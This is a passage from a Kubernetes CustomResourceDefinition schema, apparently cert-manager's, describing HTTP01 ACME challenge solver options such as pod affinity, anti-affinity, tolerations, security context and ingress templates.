                                            preferredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                The scheduler will prefer to schedule pods to nodes that satisfy
                                                the anti-affinity expressions specified by this field, but it may choose
                                                a node that violates one or more of the expressions. The node that is
                                                most preferred is the one with the greatest sum of weights, i.e.
                                                for each node that meets all of the scheduling requirements (resource
                                                request, requiredDuringScheduling anti-affinity expressions, etc.),
                                                compute a sum by iterating through the elements of this field and adding
                                                "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                                node(s) with the highest sum are the most preferred.
                                              items:
                                                description: The weights of all of
                                                  the matched WeightedPodAffinityTerm
                                                  fields are added per-node to find
                                                  the most preferred node(s)
                                                properties:
                                                  podAffinityTerm:
                                                    description: Required. A pod affinity
                                                      term, associated with the corresponding
                                                      weight.
                                                    properties:
                                                      labelSelector:
                                                        description: |-
                                                          A label query over a set of resources, in this case pods.
                                                          If it's null, this PodAffinityTerm matches with no Pods.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      matchLabelKeys:
                                                        description: |-
                                                          MatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                          Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      mismatchLabelKeys:
                                                        description: |-
                                                          MismatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                          Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      namespaceSelector:
                                                        description: |-
                                                          A label query over the set of namespaces that the term applies to.
                                                          The term is applied to the union of the namespaces selected by this field
                                                          and the ones listed in the namespaces field.
                                                          null selector and null or empty namespaces list means "this pod's namespace".
                                                          An empty selector ({}) matches all namespaces.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      namespaces:
                                                        description: |-
                                                          namespaces specifies a static list of namespace names that the term applies to.
                                                          The term is applied to the union of the namespaces listed in this field
                                                          and the ones selected by namespaceSelector.
                                                          null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      topologyKey:
                                                        description: |-
                                                          This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                          the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                          whose value of the label with key topologyKey matches that of any node on which any of the
                                                          selected pods is running.
                                                          Empty topologyKey is not allowed.
                                                        type: string
                                                    required:
                                                    - topologyKey
                                                    type: object
                                                  weight:
                                                    description: |-
                                                      weight associated with matching the corresponding podAffinityTerm,
                                                      in the range 1-100.
                                                    format: int32
                                                    type: integer
                                                required:
                                                - podAffinityTerm
                                                - weight
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                            requiredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                If the anti-affinity requirements specified by this field are not met at
                                                scheduling time, the pod will not be scheduled onto the node.
                                                If the anti-affinity requirements specified by this field cease to be met
                                                at some point during pod execution (e.g. due to a pod label update), the
                                                system may or may not try to eventually evict the pod from its node.
                                                When there are multiple elements, the lists of nodes corresponding to each
                                                podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                              items:
                                                description: |-
                                                  Defines a set of pods (namely those matching the labelSelector
                                                  relative to the given namespace(s)) that this pod should be
                                                  co-located (affinity) or not co-located (anti-affinity) with,
                                                  where co-located is defined as running on a node whose value of
                                                  the label with key <topologyKey> matches that of any node on which
                                                  a pod of the set of pods is running
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          type: object
                                      type: object
                                    imagePullSecrets:
                                      description: If specified, the pod's imagePullSecrets
                                      items:
                                        description: |-
                                          LocalObjectReference contains enough information to let you locate the
                                          referenced object inside the same namespace.
                                        properties:
                                          name:
                                            default: ""
                                            description: |-
                                              Name of the referent.
                                              This field is effectively required, but due to backwards compatibility is
                                              allowed to be empty. Instances of this type with an empty value here are
                                              almost certainly wrong.
                                              More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                            type: string
                                        type: object
                                        x-kubernetes-map-type: atomic
                                      type: array
                                    nodeSelector:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        NodeSelector is a selector which must be true for the pod to fit on a node.
                                        Selector which must match a node's labels for the pod to be scheduled on that node.
                                        More info: https://kubernetes.io/docs/concepts/configuration/assign-pod-node/
                                      type: object
                                    priorityClassName:
                                      description: If specified, the pod's priorityClassName.
                                      type: string
                                    securityContext:
                                      description: If specified, the pod's security
                                        context
                                      properties:
                                        fsGroup:
                                          description: |-
                                            A special supplemental group that applies to all containers in a pod.
                                            Some volume types allow the Kubelet to change the ownership of that volume
                                            to be owned by the pod:

                                            1. The owning GID will be the FSGroup
                                            2. The setgid bit is set (new files created in the volume will be owned by FSGroup)
                                            3. The permission bits are OR'd with rw-rw----

                                            If unset, the Kubelet will not modify the ownership and permissions of any volume.
                                            Note that this field cannot be set when spec.os.name is windows.
                                          format: int64
                                          type: integer
                                        fsGroupChangePolicy:
                                          description: |-
                                            fsGroupChangePolicy defines behavior of changing ownership and permission of the volume
                                            before being exposed inside Pod. This field will only apply to
                                            volume types which support fsGroup based ownership(and permissions).
                                            It will have no effect on ephemeral volume types such as: secret, configmaps
                                            and emptydir.
                                            Valid values are "OnRootMismatch" and "Always". If not specified, "Always" is used.
                                            Note that this field cannot be set when spec.os.name is windows.
                                          type: string
                                        runAsGroup:
                                          description: |-
                                            The GID to run the entrypoint of the container process.
                                            Uses runtime default if unset.
                                            May also be set in SecurityContext.  If set in both SecurityContext and
                                            PodSecurityContext, the value specified in SecurityContext takes precedence
                                            for that container.
                                            Note that this field cannot be set when spec.os.name is windows.
                                          format: int64
                                          type: integer
                                        runAsNonRoot:
                                          description: |-
                                            Indicates that the container must run as a non-root user.
                                            If true, the Kubelet will validate the image at runtime to ensure that it
                                            does not run as UID 0 (root) and fail to start the container if it does.
                                            If unset or false, no such validation will be performed.
                                            May also be set in SecurityContext.  If set in both SecurityContext and
                                            PodSecurityContext, the value specified in SecurityContext takes precedence.
                                          type: boolean
                                        runAsUser:
                                          description: |-
                                            The UID to run the entrypoint of the container process.
                                            Defaults to user specified in image metadata if unspecified.
                                            May also be set in SecurityContext.  If set in both SecurityContext and
                                            PodSecurityContext, the value specified in SecurityContext takes precedence
                                            for that container.
                                            Note that this field cannot be set when spec.os.name is windows.
                                          format: int64
                                          type: integer
                                        seLinuxOptions:
                                          description: |-
                                            The SELinux context to be applied to all containers.
                                            If unspecified, the container runtime will allocate a random SELinux context for each
                                            container.  May also be set in SecurityContext.  If set in
                                            both SecurityContext and PodSecurityContext, the value specified in SecurityContext
                                            takes precedence for that container.
                                            Note that this field cannot be set when spec.os.name is windows.
                                          properties:
                                            level:
                                              description: Level is SELinux level
                                                label that applies to the container.
                                              type: string
                                            role:
                                              description: Role is a SELinux role
                                                label that applies to the container.
                                              type: string
                                            type:
                                              description: Type is a SELinux type
                                                label that applies to the container.
                                              type: string
                                            user:
                                              description: User is a SELinux user
                                                label that applies to the container.
                                              type: string
                                          type: object
                                        seccompProfile:
                                          description: |-
                                            The seccomp options to use by the containers in this pod.
                                            Note that this field cannot be set when spec.os.name is windows.
                                          properties:
                                            localhostProfile:
                                              description: |-
                                                localhostProfile indicates a profile defined in a file on the node should be used.
                                                The profile must be preconfigured on the node to work.
                                                Must be a descending path, relative to the kubelet's configured seccomp profile location.
                                                Must be set if type is "Localhost". Must NOT be set for any other type.
                                              type: string
                                            type:
                                              description: |-
                                                type indicates which kind of seccomp profile will be applied.
                                                Valid options are:

                                                Localhost - a profile defined in a file on the node should be used.
                                                RuntimeDefault - the container runtime default profile should be used.
                                                Unconfined - no profile should be applied.
                                              type: string
                                          required:
                                          - type
                                          type: object
                                        supplementalGroups:
                                          description: |-
                                            A list of groups applied to the first process run in each container, in addition
                                            to the container's primary GID, the fsGroup (if specified), and group memberships
                                            defined in the container image for the uid of the container process. If unspecified,
                                            no additional groups are added to any container. Note that group memberships
                                            defined in the container image for the uid of the container process are still effective,
                                            even if they are not included in this list.
                                            Note that this field cannot be set when spec.os.name is windows.
                                          items:
                                            format: int64
                                            type: integer
                                          type: array
                                        sysctls:
                                          description: |-
                                            Sysctls hold a list of namespaced sysctls used for the pod. Pods with unsupported
                                            sysctls (by the container runtime) might fail to launch.
                                            Note that this field cannot be set when spec.os.name is windows.
                                          items:
                                            description: Sysctl defines a kernel parameter
                                              to be set
                                            properties:
                                              name:
                                                description: Name of a property to
                                                  set
                                                type: string
                                              value:
                                                description: Value of a property to
                                                  set
                                                type: string
                                            required:
                                            - name
                                            - value
                                            type: object
                                          type: array
                                      type: object
                                    serviceAccountName:
                                      description: If specified, the pod's service
                                        account
                                      type: string
                                    tolerations:
                                      description: If specified, the pod's tolerations.
                                      items:
                                        description: |-
                                          The pod this Toleration is attached to tolerates any taint that matches
                                          the triple <key,value,effect> using the matching operator <operator>.
                                        properties:
                                          effect:
                                            description: |-
                                              Effect indicates the taint effect to match. Empty means match all taint effects.
                                              When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                                            type: string
                                          key:
                                            description: |-
                                              Key is the taint key that the toleration applies to. Empty means match all taint keys.
                                              If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                                            type: string
                                          operator:
                                            description: |-
                                              Operator represents a key's relationship to the value.
                                              Valid operators are Exists and Equal. Defaults to Equal.
                                              Exists is equivalent to wildcard for value, so that a pod can
                                              tolerate all taints of a particular category.
                                            type: string
                                          tolerationSeconds:
                                            description: |-
                                              TolerationSeconds represents the period of time the toleration (which must be
                                              of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                                              it is not set, which means tolerate the taint forever (do not evict). Zero and
                                              negative values will be treated as 0 (evict immediately) by the system.
                                            format: int64
                                            type: integer
                                          value:
                                            description: |-
                                              Value is the taint value the toleration matches to.
                                              If the operator is Exists, the value should be empty, otherwise just a regular string.
                                            type: string
                                        type: object
                                      type: array
                                  type: object
                              type: object
                            serviceType:
                              description: |-
                                Optional service type for Kubernetes solver service. Supported values
                                are NodePort or ClusterIP. If unset, defaults to NodePort.
                              type: string
                          type: object
                        ingress:
                          description: |-
                            The ingress based HTTP01 challenge solver will solve challenges by
                            creating or modifying Ingress resources in order to route requests for
                            '/.well-known/acme-challenge/XYZ' to 'challenge solver' pods that are
                            provisioned by cert-manager for each Challenge to be completed.
                          properties:
                            class:
                              description: |-
                                This field configures the annotation `kubernetes.io/ingress.class` when
                                creating Ingress resources to solve ACME challenges that use this
                                challenge solver. Only one of `class`, `name` or `ingressClassName` may
                                be specified.
                              type: string
                            ingressClassName:
                              description: |-
                                This field configures the field `ingressClassName` on the created Ingress
                                resources used to solve ACME challenges that use this challenge solver.
                                This is the recommended way of configuring the ingress class. Only one of
                                `class`, `name` or `ingressClassName` may be specified.
                              type: string
                            ingressTemplate:
                              description: |-
                                Optional ingress template used to configure the ACME challenge solver
                                ingress used for HTTP01 challenges.
                              properties:
                                metadata:
                                  description: |-
                                    ObjectMeta overrides for the ingress used to solve HTTP01 challenges.
                                    Only the 'labels' and 'annotations' fields may be set.
                                    If labels or annotations overlap with in-built values, the values here
                                    will override the in-built values.
                                  properties:
                                    annotations:
                                      additionalProperties:
                                        type: string
                                      description: Annotations that should be added
                                        to the created ACME HTTP01 solver ingress.
                                      type: object
                                    labels:
                                      additionalProperties:
                                        type: string
                                      description: Labels that should be added to
                                        the created ACME HTTP01 solver ingress.
                                      type: object
                                  type: object
                              type: object
                            name:
                              description: |-
                                The name of the ingress resource that should have ACME challenge solving
                                routes inserted into it in order to solve HTTP01 challenges.
                                This is typically used in conjunction with ingress controllers like
                                ingress-gce, which maintains a 1:1 mapping between external IPs and
                                ingress resources. Only one of `class`, `name` or `ingressClassName` may
                                be specified.
                              type: string
                            podTemplate:
                              description: |-
                                Optional pod template used to configure the ACME challenge solver pods
                                used for HTTP01 challenges.
                              properties:
                                metadata:
                                  description: |-
                                    ObjectMeta overrides for the pod used to solve HTTP01 challenges.
                                    Only the 'labels' and 'annotations' fields may be set.
                                    If labels or annotations overlap with in-built values, the values here
                                    will override the in-built values.
                                  properties:
                                    annotations:
                                      additionalProperties:
                                        type: string
                                      description: Annotations that should be added
                                        to the created ACME HTTP01 solver pods.
                                      type: object
                                    labels:
                                      additionalProperties:
                                        type: string
                                      description: Labels that should be added to
                                        the created ACME HTTP01 solver pods.
                                      type: object
                                  type: object
                                spec:
                                  description: |-
                                    PodSpec defines overrides for the HTTP01 challenge solver pod.
                                    Check ACMEChallengeSolverHTTP01IngressPodSpec to find out currently supported fields.
                                    All other fields will be ignored.
                                  properties:
                                    affinity:
                                      description: If specified, the pod's scheduling
                                        constraints
                                      properties:
                                        nodeAffinity:
                                          description: Describes node affinity scheduling
                                            rules for the pod.
                                          properties:
                                            preferredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                The scheduler will prefer to schedule pods to nodes that satisfy
                                                the affinity expressions specified by this field, but it may choose
                                                a node that violates one or more of the expressions. The node that is
                                                most preferred is the one with the greatest sum of weights, i.e.
                                                for each node that meets all of the scheduling requirements (resource
                                                request, requiredDuringScheduling affinity expressions, etc.),
                                                compute a sum by iterating through the elements of this field and adding
                                                "weight" to the sum if the node matches the corresponding matchExpressions; the
                                                node(s) with the highest sum are the most preferred.
                                              items:
                                                description: |-
                                                  An empty preferred scheduling term matches all objects with implicit weight 0
                                                  (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                                properties:
                                                  preference:
                                                    description: A node selector term,
                                                      associated with the corresponding
                                                      weight.
                                                    properties:
                                                      matchExpressions:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's labels.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchFields:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's fields.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  weight:
                                                    description: Weight associated
                                                      with matching the corresponding
                                                      nodeSelectorTerm, in the range
                                                      1-100.
                                                    format: int32
                                                    type: integer
                                                required:
                                                - preference
                                                - weight
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                            requiredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                If the affinity requirements specified by this field are not met at
                                                scheduling time, the pod will not be scheduled onto the node.
                                                If the affinity requirements specified by this field cease to be met
                                                at some point during pod execution (e.g. due to an update), the system
                                                may or may not try to eventually evict the pod from its node.
                                              properties:
                                                nodeSelectorTerms:
                                                  description: Required. A list of
                                                    node selector terms. The terms
                                                    are ORed.
                                                  items:
                                                    description: |-
                                                      A null or empty node selector term matches no objects. The requirements of
                                                      them are ANDed.
                                                      The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                                    properties:
                                                      matchExpressions:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's labels.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchFields:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's fields.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  type: array
                                                  x-kubernetes-list-type: atomic
                                              required:
                                              - nodeSelectorTerms
                                              type: object
                                              x-kubernetes-map-type: atomic
                                          type: object
                                        podAffinity:
                                          description: Describes pod affinity scheduling
                                            rules (e.g. co-locate this pod in the
                                            same node, zone, etc. as some other pod(s)).
                                          properties:
                                            preferredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                The scheduler will prefer to schedule pods to nodes that satisfy
                                                the affinity expressions specified by this field, but it may choose
                                                a node that violates one or more of the expressions. The node that is
                                                most preferred is the one with the greatest sum of weights, i.e.
                                                for each node that meets all of the scheduling requirements (resource
                                                request, requiredDuringScheduling affinity expressions, etc.),
                                                compute a sum by iterating through the elements of this field and adding
                                                "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                                node(s) with the highest sum are the most preferred.
                                              items:
                                                description: The weights of all of
                                                  the matched WeightedPodAffinityTerm
                                                  fields are added per-node to find
                                                  the most preferred node(s)
                                                properties:
                                                  podAffinityTerm:
                                                    description: Required. A pod affinity
                                                      term, associated with the corresponding
                                                      weight.
                                                    properties:
                                                      labelSelector:
                                                        description: |-
                                                          A label query over a set of resources, in this case pods.
                                                          If it's null, this PodAffinityTerm matches with no Pods.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      matchLabelKeys:
                                                        description: |-
                                                          MatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
